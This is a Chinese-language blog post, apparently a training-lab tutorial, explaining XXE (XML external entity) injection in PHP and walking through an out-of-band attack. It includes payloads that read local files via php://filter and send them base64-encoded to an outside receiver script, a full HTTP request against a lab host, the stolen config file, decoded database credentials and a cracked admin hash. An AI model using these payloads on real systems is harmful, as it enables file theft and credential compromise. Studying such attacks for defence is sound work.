8-5 XXE - 实体注入

举报
Gere 发表于 2022/12/31 08:28:14 2022/12/31
【摘要】 一、什么是XXE?XXE = XML External Entity 即外部实体,从安全角度理解成XML External Entity attack XML外部实体注入攻击典型的攻击如下:定义实体必须写在DTD部分二、什么是XML?什么是 XML?XML 指可扩展标记语言(EXtensible Markup Language)XML 是一种标记语言,很类似 HTMLXML 的设计宗旨是传输...


一、什么是XXE?

XXE = XML External Entity 即外部实体,从安全角度理解成XML External Entity attack XML外部实体注入攻击

典型的攻击如下:

image-20201031232211040

定义实体必须写在DTD部分

二、什么是XML?

什么是 XML?

XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准

特点:
XML仅仅是纯文本,他不会做任何事情。
XML可以自己发明标签(允许定义自己的标签和文档结构)

XML 无所不在。XML 是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行。

这玩意就是个储存数据的

三、XXE原理

有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Rohit [
    <!ENTITY entityex SYSTEM "file://foler/file">
]>
<abc>&entityex;</abc>

外部文档声明
假如DTD位于XML源文件的外部,那么它应通过下面的语法被封装在一个DOCTYPE定义中:

<!DOCTYPE 根元素 SYSTEM "文件名">

php中存在一个叫做simplexml_load_string的函数

这个函数是将XML转化为对象

实例:

<?php
$test = \'<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]><scan>&test;</scan>\';  	
$obj = simplexml_load_string($test, \'SimpleXMLElement\', LIBXML_NOENT);
print_r($obj);
?>

变量test里面是XML

然后试用simplexml_load_string将其转化为对象,第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement这个类,然后LIBXML_NOENT是替代实体,然后他去执行了file协议去读取我的文件

<!ENTITY 实体名称 SYSTEM “URI/URL"> 

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

image-20201031232928493

很多时候后端语言解析了XML后其实并不会给你输出,难道这样子我们就不能进行XXE了?就可以抵挡住我们的脚步了吗?

不,我们可以使用一个类似与接受平台一样的接受器,XML读取数据然后发送到接收的平台,然后接收平台存储,我们再去接收平台查看就可以了。感觉是不是像是反弹注入的感觉~

我们先读取我们想要的文件,然后为了传输方便,我们先来个base64编码,我们可以使用php伪协议读取文件(仅PHP支持)

 php://filter/read=convert.base64-encode/resource=c:/1.txt

 然后我们再去调用一个外部xml 比如1.xml (<!ENTITY % remote SYSTEM "http://192.168.19.131/1.xml">)

 <!ENTITY % all

 "<!ENTITY &#x25; send SYSTEM \'http://120.203.13.75:8123/xxe/2.php?id=%file;\'>"

 \>

 %all;

这个1.xml会被加载到原本的xml,然后我们最后来调用,然后你读取出来的文件会用get传参的方式传参给2.php 然后2.php记录下来储存到3.txt中

 <?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>
<?php
$test =<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.32.146/xxe/1.xml"> 
%remote;
%send; 
]>
EOF;
$obj = simplexml_load_string($test, \'SimpleXMLElement\', LIBXML_NOENT);
?>

XXE-防御

image-20201031233238740

四、靶场演示

通过查看weixin的php,当signature有值时,会将POST值当值xml执行

image-20201031233037087

http://59.63.200.79:8207/weixin/用burp抓包,发送到Repeater,

image-20201102230825775

将GET请求,改成POST请求,在weixin传入参数?signature=fdsaf,请求包末尾加入POST传XXE代码值

POST /weixin/?signature=fdsaf HTTP/1.1
Host: 59.63.200.79:8207
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=e2qfucg73udhmdm8n03ukj62s6; Hm_lvt_b60316de6009d5654de7312f772162be=1604161420; safedog-flow-item=789C4E95DD8F4CC7683E5563E4949B3F; Hm_lpvt_b60316de6009d5654de7312f772162be=1604329000
Connection: close
Content-Length: 229

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://119.29.119)">105.113/xxe/1.xml"> 
%remote;
%send; 
]>

image-20201103010359867

服务器上1.xml

<!ENTITY % all
	"<!ENTITY &#x25; send SYSTEM \'http://119.29.119)">105.113/xxe/2.php?id=%file;\'>"
>
%all;

1.xml等价于

<!ENTITY % send SYSTEM \'http://119.29.119)">105.113/xxe/2.php?id=%file;\'>

服务器2.php

<?php
date_default_timezone_set(\'PRC\');
if(!isset($_GET["id"]))return;
file_put_contents("3.txt","文件修改服务器时间: ".date("Y-m-d H:i:s")."\r\n");
file_put_contents("3.txt",$_GET["id"],FILE_APPEND);
?>

服务器上3.txt

PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOyAKaGVhZGVyKCJjb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgiKTsKc2Vzc2lvbl9zdGFydCgpOwokY29ubiA9IG15c3FsaV9jb25uZWN0KCIxOTIuMTY4LjAuMTAiLCJ4eGUiLCAidGVpd28hOCM3RVJlMURQQyIsICJzY21zIik7Cm15c3FsaV9xdWVyeSgkY29ubiwnc2V0IG5hbWVzIHV0ZjgnKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiUFJDIik7CmlmICghJGNvbm4pIHsKICAgIGRpZSgi5pWw5o2u5bqT6L e5o6l5aSx6LSlOiAiIC4gbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKSk7Cn0KJGZ1bmN0aW9uZmlsZT1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkuIi9kYXRhL2Z1bmN0aW9uLmJhcyI7CiRkYXRhZmlsZT0iZGF0YS9kYXRhLmJhcyI7CiRhamF4ZmlsZT0iZGF0YS9hamF4LmJhcyI7CiRhcGlmaWxlPSJkYXRhL2FwaS5iYXMiOwo/Pg==

在https://base64.us/上base64解密,找到数据库连接信息

$conn = mysqli_connect("192.168.0.10","xxe", "teiwo!8#7ERe1DPC", "scms");

利用账户、密码、数据库登陆http://59.63.200.79:8207/adminer.php

image-20201102233036497

对admin密码e99d2e51cbefe75251f1d40821e07a32 进行MD5解密,https://www.somd5.com/,得到flag

image-20201102233518898

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。